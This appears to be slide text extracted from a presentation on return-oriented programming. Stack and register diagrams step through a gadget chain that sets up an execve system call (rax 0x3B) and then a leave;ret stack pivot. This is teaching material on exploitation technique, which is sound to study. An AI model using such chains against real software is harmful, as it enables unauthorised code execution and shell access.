Professional Documents
Culture Documents
ROP
ROP
xxxxxxxx
rbp
ret addr 0x401516
0x600100
ret addr 0x442909
0x0
0x0
ret addr 0x478616
0x3B
0x0
0x0
ret addr 0x4672b5
xxxxxxxx
rbp
rsp -> 0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax xxx
0x3B
rdi xxx
0x0
rsi xxx
0x0
rdx xxx
0x4672b5
rip xxx
xxxxxxxx
rbp
0x401516
rsp -> 0x600100
0x442909
0x0
0x0
0x478616
rax xxx
0x3B
rdi xxx
0x0
rsi xxx
0x0
rdx xxx
0x4672b5
rip 0x401516
xxxxxxxx
rbp
0x401516
0x600100
rsp -> 0x442909
0x0
0x0
0x478616
rax xxx
0x3B
rdi 0x600100
0x0
rsi xxx
0x0
rdx xxx
0x4672b5
rip 0x401516
xxxxxxxx
rbp
0x401516
0x600100
0x442909
rsp -> 0x0
0x0
0x478616
rax xxx
0x3B
rdi 0x600100
0x0
rsi xxx
0x0
rdx xxx
0x4672b5
rip 0x442909
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
rsp -> 0x0
0x478616
rax xxx
0x3B
rdi 0x600100
0x0
rsi xxx
0x0
rdx 0x0
0x4672b5
rip 0x442909
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
rsp -> 0x478616
rax xxx
0x3B
rdi 0x600100
0x0
rsi 0x0
0x0
rdx 0x0
0x4672b5
rip 0x442909
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax xxx
rsp -> 0x3B
rdi 0x600100
0x0
rsi 0x0
0x0
rdx 0x0
0x4672b5
rip 0x478616
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax 0x3B
0x3B
rdi 0x600100
rsp -> 0x0
rsi 0x0
0x0
rdx 0x0
0x4672b5
rip 0x478616
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax 0x3B
0x3B
rdi 0x600100
0x0
rsi 0x0
rsp -> 0x0
rdx 0x0
0x4672b5
rip 0x478616
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax 0x3B
0x3B
rdi 0x600100
0x0
rsi 0x0
0x0
rdx 0x0
rsp -> 0x4672b5
rip 0x478616
xxxxxxxx
rbp
0x401516
0x600100
0x442909
0x0
0x0
0x478616
rax 0x3B
0x3B
rdi 0x600100
0x0
rsi 0x0
0x0
rdx 0x0
0x4672b5
rip 0x4672b5
rsp ->
leave;
rsp -> xxxxxxxx 0xdeadbeef
xxxxxxxx 0x401516
xxxxxxxx 0x600100
rbp -> 0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
leave;
xxxxxxxx 0xdeadbeef
xxxxxxxx 0x401516
xxxxxxxx 0x600100
rsp,rbp -> 0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
ret;
xxxxxxxx rbp-> 0xdeadbeef
xxxxxxxx 0x401516
xxxxxxxx 0x600100
0x601010 0x442909
rsp -> leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
leave;
xxxxxxxx rsp,rbp-> 0xdeadbeef
xxxxxxxx 0x401516
xxxxxxxx 0x600100
0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
ret;
xxxxxxxx 0xdeadbeef
xxxxxxxx rsp -> 0x401516
xxxxxxxx 0x600100
0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
Do rop……
xxxxxxxx 0xdeadbeef
xxxxxxxx rsp -> 0x401516
xxxxxxxx 0x600100
0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5
Do rop……
xxxxxxxx 0xdeadbeef
xxxxxxxx rsp -> 0x401516
xxxxxxxx 0x600100
0x601010 0x442909
leave ret 0x0
0x0
0x478616
0x3B
0x0
0x0
0x4672b5